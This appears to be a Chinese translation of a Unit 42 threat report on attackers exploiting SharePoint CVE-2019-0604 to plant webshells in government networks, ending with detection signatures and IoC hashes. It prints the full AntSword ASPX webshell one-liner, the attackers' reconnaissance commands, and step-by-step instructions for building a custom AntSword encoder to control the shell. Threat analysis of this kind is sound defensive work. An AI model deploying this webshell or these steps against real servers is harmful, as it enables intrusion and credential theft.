攻击者仍在利用SharePoint的漏洞展开大规模攻击
早在2019年9月10日,unit42就观察到有攻击者利用CVE-2019-0604中描述的SharePoint漏洞在一个中东政府组织的网站上安装了几个webshell,其中一个webshell是开源的AntSword webshell。
在2020年1月10日,unit42使用Shodan搜索Internet可访问的服务器,这些服务器运行的SharePoint版本还是容易受到CVE-2019-0604的攻击。虽然,SharePoint在HTTP响应中提供的版本号并不总是提供准确的SharePoint版本号,但unit42决定使用它来检查它是否小于Microsoft advisory中修补过的SharePoint版本号。unit42进行比较,发现有28881台服务器在使用SharePoint的漏洞版本。unit42没有主动检查每台服务器,以验证它们是否确实容易受到攻击,因此,许多这些面向公众的SharePoint服务器可能并不容易受到攻击,或者自从打了补丁以后就没有。无论如何,服务器的绝对数量和公开可用的攻击代码表明CVE-2019-0604仍然是一个主要的攻击媒介。
通过使用这个webshell集合,攻击者通过使用臭名昭著的Mimikatz工具的变体来转储凭证,并使用Impacket的atexec工具来使用转储凭证在其他系统上运行命令,从而横向干扰网络上的其他系统。在2019年9月19日,unit42观察到类似的Mimikatz变种上传到另一个政府组织的webshell上,该组织位于中东。上传到这两个组织的Mimikatz变体是惟一的,因为它涉及到一个用. net编写的自定义加载器应用程序。因此,unit42认为,这两次入侵背后的威胁组织是相同的。
早在2019年4月,unit42就首次观察到有攻击组织利用CVE-2019-0604在两个中东国家的政府机构的SharePoint服务器上安装webshell。目前有多个攻击组织正在利用这一漏洞利用SharePoint服务器,以获得对目标网络的初始访问权。
利用CVE-2019-0604
在2019年9月10日,unit42观察到以下URL的HTTP POST请求,unit42认为这是在面向公众的SharePoint服务器(T1190)中利用CVE-2019-0604的:
/ _layouts / 15 / picker.aspx
unit42无法访问上述HTTP POST请求中发送的数据,但是,unit42观察到在入站请求时在SharePoint服务器上执行以下命令:
上面的命令使用echo命令将大量base64编码的数据写入名为cmd.txt的文本文件,然后,该命令使用certutil应用程序将cmd.txt文件中的base64编码数据(T1132)转换为三个不同的SharePoint相关文件夹中的c.aspx。整个命令的结果将Awen asp.net webshell (T1100)的一个变体保存到SharePoint服务器,以进一步与入侵服务器进行交互。利用此SharePoint漏洞进行部署的Awen Webshell的SHA256哈希值为5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21。
攻击者的Awen Webshell
在怀疑使用了CVE-2019-0604之后仅40秒,unit42在c.aspx上观察到对Webshell的第一个HTTP GET请求,这是可免费获得的awen asp.net Webshell的修改版本。unit42认为这个HTTP GET请求是在开发之后和执行命令之前访问webshell的攻击者。图1显示了Awen Webshell,除了设置命令提示符应用程序的路径和运行命令之外,它几乎没有其他功能。
利用CVE-2019-0604之后由攻击者安装的Awen webshell
攻击者使用图1中所示的Awen Web Shell运行各种命令以在系统和网络上进行初始发现,包括用户帐户(T1033和T1087),文件和文件夹(T1083),特权组(T1069),远程系统( T1018)和网络配置(T1016)。下表1不仅显示了用于发现的命令,还显示了用于使用echo命令将base64编码的数据写入a.txt并使用certutil应用程序解码并保存到bitreeview.aspx的将另一个Web Shell部署到服务器的命令。表1还显示了使用Awen Webshell执行的命令之间的时间差,以深入了解此攻击者执行命令的速度。
利用CVE-2019-0604后,攻击者安装的Awen webshell
名为bitreeview.aspx的webshell已保存到SharePoint服务器安装路径内的文件夹中。 bitreeview.aspx文件是AntSword Webshell的变体。安装此AntSword Webshell之后,攻击者不再使用Awen Webshell,而是在向Awen Webshell发出最后一条命令后的35秒内向AntSword发出第一个命令。
攻击者的AntSword Webshell
AntSword是一个模块化Webshell,涉及一个非常简单的Webshell,攻击者可以将其部署到受感染的服务器和称为AntSword Shell Manager的客户端应用程序。客户端应用程序的使用不同于攻击者在浏览器窗口中与之交互的许多其他Webshell。当Shell Manager将适当的脚本发送到将执行以执行所需操作的Webshell时,攻击者将使用AntSword Shell Manager与受感染服务器上的AntSword Webshell进行交互。为了了解Webshell本身的功能受限,在此攻击中部署的bitreeview.aspx AntSword Webshell(SHA256:15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e)仅162个字节,并且包含以下内容:
%@ Page Language="Jscript"% % eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert. FromBase64String(Request.Item["Darr1R1ng"])),"unsafe"); %
从上面的代码中可以看到,AntSword Webshell除了运行AntSword Shell Manager提供的脚本外没有其他功能,特别是在HTTP POST请求的名为Darr1R1ng的字段中。上面的代码还告诉unit42,攻击者已经在AntSword ShellManager中创建了自己的自定义“编码器”,以便能够与上面的代码进行交互。
攻击者使用AntSword Webshell在受感染的服务器上运行各种命令,以下是使用此Webshell发出的初始命令的列表,这些命令将尝试进行初始系统和用户发现,并尝试ping感兴趣的系统:
whoami query user nltest /domain_Trusts ping -n 1 ipconfig /all net group /do net group Exchange Servers /do ing -n 1 ping -n 1 query user
ping操作表明该攻击者试图获得对Microsoft Exchange服务器的访问权限,这可能是他们的目标之一,或者他们希望获得Exchange服务器提供的域上的提升权限。此外,ping尝试显示攻击者在第一次尝试时拼错了命令这表明这些命令是通过手动操作而不是通过自动脚本发出的。图2显示了AntSword Shell Manager应用程序中的终端界面,攻击者可以通过该界面发出命令。
AntSword的Shell Manager中的终端与Webshell交互
虽然不能100%确定,但是unit42的研究人员相信攻击者也使用了AntSword webshell将工具上传到服务器,特别是cURL,自定义Mimikatz变体以及Impacket的wmiexec和atexec工具的编译变体。 AntSword具有FileManager界面,该界面提供了类似于Windows资源管理器的导航功能,该功能允许攻击者向受感染的服务器上载文件或从中下载文件。图3显示了AntSword Shell Manager应用程序中的FileManager界面。
使用webshell的AntSword ShellManager中的FileManager界面
攻击者使用这些上传的工具向webshell发出命令,例如,在curl.exe ipinfo.io -max-time 5命令中使用了cURL工具来确定服务器是否可以对Internet进行出站访问并获取受感染系统的外部IP地址。攻击者使用了“ net use”命令,Mimikatz和Impacket工具专门用于横向移动。攻击者似乎使用Mimikatz从内存中转储凭证(T1003),并使用Impacket工具使用传递哈希(T1075)技术在其他系统上运行命令。
攻击者的自定义AntSword编码器
要使用SharePoint服务器上安装的AntSword Webshell,攻击者必须在AntSword中创建一个自定义编码模块。我们知道这是因为AntSword Shell Manager中的默认编码器无法与bitreeview.aspx Webshell成功交互。我们发现默认的base64编码器不会对Darr1R1ng字段中的数据进行base64编码,而是将其以明文形式传送,如图4所示的HTTP POST请求中所示。当unit42尝试使用默认的base64编码器与bitreeview交互时。由攻击者安装的aspx webshell,服务器响应HTTP 500错误消息,因为cleartext Darr1R1ng字段包含的字符不属于base64字母表。
AntSword ShellManager使用默认的base64编码器向webshell发出的HTTP POST请求
unit42确定攻击者必须在AntSword Shell Manager中创建一个自定义编码模块,该模块对base64编码了整个Darr1R1ng字段,以成功与bitreeview.aspx Webshell进行交互。 AntSword Shell Manager包含一个用于用户创建自定义编码模块的界面,因此unit42开始确定攻击者将采取哪些步骤来创建这个自定义编码,以便开始与webshell进行交互。
1. 攻击者首先要打开AntSword Shell Manager。根据unit42的分析,他们专门使用了AntSword 2.1版本。
2. 在与已安装的Webshell交互之前,攻击者必须创建一个自定义编码模块。要创建自定义编码模块,攻击者可以从菜单中单击AntSword>编码器管理器。
3. 在“编码器管理器”界面中,攻击者将点击“新建编码器”按钮。
4. 从新的编码器下拉菜单中,攻击者将选择ASPX,因为安装在SharePoint服务器上的AntSword webshell是一个ASPX文件。
5.攻击者必须命名新的编码器,然后点击蓝色按钮继续。在此示例中,unit42选择了默认名称“myencoder”。
6. 创建新的编码器后,攻击者将选择编码器,然后点击“编辑”菜单按钮。
7. 点击“编辑”按钮后,“EditEncoder”窗口将打开,并提供一个供攻击者修改的示例编码器。要在服务器上使用“ bitreeview.aspx” Webshell,攻击者必须将示例编码器的第24行修改为base64编码内容“Darr1R1ng”字段,而不是使用明文形式。
8. 为了对“ Darr1R1ng”字段进行base64编码,攻击者将第24行修改为与现在第24行显示的代码具有相同功能的代码。攻击者将点击“保存”菜单按钮以保存新的自定义编码模块。
9. 创建了自定义编码模块后,攻击者现在将在Shell Manager窗口中通过右键点击并选择Add按钮来添加新的Shell。
10. 此时“添加Shell程序”界面打开,并允许攻击者配置Shell程序的位置,HTTP POST请求中的字段名称以及Webshell将用于与ShellManager进行交互的编码模块。
11. 在此事件中,攻击者将添加以下设置并点击“添加”菜单按钮:
11.1 将 ‘Shell url’ 设置为URL到 ‘bitreeview.aspx’ webshell(在unit42的测试中为localhost);
11.2 将 ‘Shell pwd’ 设置为‘Darr1R1ng’;
11.3 从下拉菜单中将 ‘Shell type’ 设置为“ASPX”;
11.4 选中 ‘myencoder’ 旁边的单选框,以选择自定义编码器。
12. 点击“添加”按钮后,该Shell现在在“Shell管理器”界面中列出。
13. 要与Webshell交互,攻击者将右键点击Shell,然后从显示的菜单中选择操作。要在网络服务器上运行命令,攻击者将选择“终端”菜单按钮。
14. AntSword Shell Manager显示一个类似于命令提示符窗口的界面,它还包括有关运行Web Shell的系统的信息,例如操作系统,当前用户,当前工作目录以及服务器上的存储卷。
15. 攻击者将在此窗口中发出所需的命令,Webshell将运行该命令并响应结果。
16. 如果攻击者希望直接与受感染服务器的文件系统进行交互,则可以从Shell Manager中选择FileManager菜单按钮。
AntSword类似于China Chopper
AntSword和China Chopper都是模块化的webshell,攻击者可以使用客户端应用程序而不是web浏览器与之交互。看来,AntSword的开发人员可能已经将China Chopper用作其工具的基础,因为默认的China Chopper Webshell与AntSword的ASPX Webshell的默认编码器一起工作。两者之间的主要区别涉及两个客户端应用程序发送到Webshell来运行命令和其他活动的代码和参数。例如,China Chopper在通过Web Shell运行命令时使用两个名为z1和z2的参数,如图5所示,而AntSword在每次执行时使用四个随机生成的名称,如图6所示。
向China Chopper Webshell发送HTTP POST请求以运行带有指向其所需参数的箭头的命令
对AntSword Webshell的HTTP POST请求以运行带有箭头的命令,该箭头指向其所需的参数可以看出,不仅参数不同,而且发送到Webshell的代码也不同。如图7所示,AntSword和China Chopper用于在Webshell上运行命令的代码有几行完全相同的代码,而有些代码行不同,并且在右侧的AntSword代码中添加了几行。图7右侧的代码是AntSword,其中包括其他代码行,以允许攻击者在运行命令之前设置环境变量。
AntSword和China Chopper在Webshell上运行命令所使用的代码之间的比较
Webshell中发现的工具
在分析上传到AntSword webshell的工具时,unit42发现上传到另一个中东国家政府机构服务器上的同一个Mimikatz示例。在2019年9月19日,攻击者将这个Mimikatz示例上传到URL托管的Webshell:
/uploadedFiles/green_post.aspx
unit42无权访问此URL上托管的Webshell,也无权查看攻击者执行的命令。所以目前unit42还不知道该服务器是否是SharePoint服务器,或者是否利用漏洞安装了Webshell。但是,Mimikatz示例是独特的,因为它使用了.NET编写的自定义加载程序,因此unit42认为,这两个攻击的幕后组织是相同的。
除了Mimikatz工具外,攻击者还向其他组织的Webshell上传了其他工具。表2显示了上传到Webshell的可执行文件,其中显示了与攻击者上传到先前讨论过的AntSword Webshell的类似工具,包括Mimikatz和Impacket的atexec工具。
托管的Webshell的工具
表2中列出的引起unit42关注的工具之一是Dumpert工具,该工具可在Outflanknl的GitHub存储库中免费使用。Dumpert的开发者将该工具描述为LSASS转储工具,该工具使用直接系统调用和API脱钩来逃避防病毒和EDR解决方案。 Dumpert是一个相对较新的工具,它于2019年6月17日首次出现在给GitHub。尽管Dumpert工具旨在帮助渗透测试团队模拟攻击者,但是直到2019年9月23日上传至这个相关的webshell,unit42才看到威胁攻击者使用这个工具。
总结
攻击者继续利用CVE-2019-0604漏洞来攻击SharePoint服务器,这是Microsoft在2019年3月发布的补丁程序。unit42观察到攻击者将Webshell安装到SharePoint服务器上,他们使用webshell来运行命令和上传其他工具,以便转储凭证并横向移动到网络上的其他系统。unit42还能够找到一个相关的webshell基于威胁组的工具重用,特别是自定义的Mimikatz样本。由于该工具的重用,unit42发现攻击者上传了一个名为Dumpert的凭据转储工具,该工具在以前涉及CVE-2019-0604使用的攻击中从未使用过。
不过Palo Alto Networks客户受到以下方面的保护:
1. CVE-2019-0604漏洞被unit42的IPS签名Microsoft SharePoint远程代码执行漏洞(55411)覆盖;
2. unit42的IPS签名Webshell.ASPX.git.Awen命令和控制流量可检测到Awen Webshell(83202);
3. unit42的IPS签名AntSword Webshell命令和控制流量检测功能可检测到AntSword ASPX Webshell(85561、85562、85563);
4. Wildfire将Mimikatz,Impacket atexec和Dumpert工具标记为恶意;
IoCAwen Webshell
5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21
AntSword Webshell
15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e
Mimikatz
da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304
Related Tools
da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304
2836cf75fa0538b2452d77848f90b6ca48b7ff88e85d7b006924c3fc40526287
26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd
a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10
e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e